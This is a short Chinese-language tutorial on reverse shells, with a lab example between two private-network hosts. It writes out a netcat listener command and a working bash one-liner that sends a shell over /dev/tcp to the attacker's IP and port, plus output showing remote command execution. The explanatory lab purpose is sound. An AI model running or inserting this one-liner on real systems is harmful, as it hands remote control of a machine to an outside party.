什么是反弹shell

reverse shell,一般称为反弹shell,实际应该成为反向shell,是指被控制的机器作为client主动连接到控制端的server,然后控制端的server就可以对被控端的client进行操作了。

就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。(是网络概念的客户端与服务端的角色反转)

如何进行部署和操作

被控端的反弹shell和主控端的连接

参考试验举例

# 攻击机  主控端
CentOS 7.6
1.需要firewalld放行7777的tcp
2.安装nc,监听端口 7777,即执行命令 
nc -lvp 7777    # 需要先启动这个,否则被控端无法连接主控端
终端显示如下:
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777


# 目标机  被控端
Ubuntu 18.04
bash -i >& /dev/tcp/10.0.4.146/7777 0>&1

此时,主控端 10.0.4.146的nc终端会增加显示,然后可控目标机
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from 10.0.4.69.
Ncat: Connection from 10.0.4.69:60846.
[root@localhost ~]# ip a |grep inet    # 这是在nc的终端
ip a |grep inet
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
    inet 10.0.4.69/16 brd 10.0.255.255 scope global noprefixroute br0
可知连接成功

REF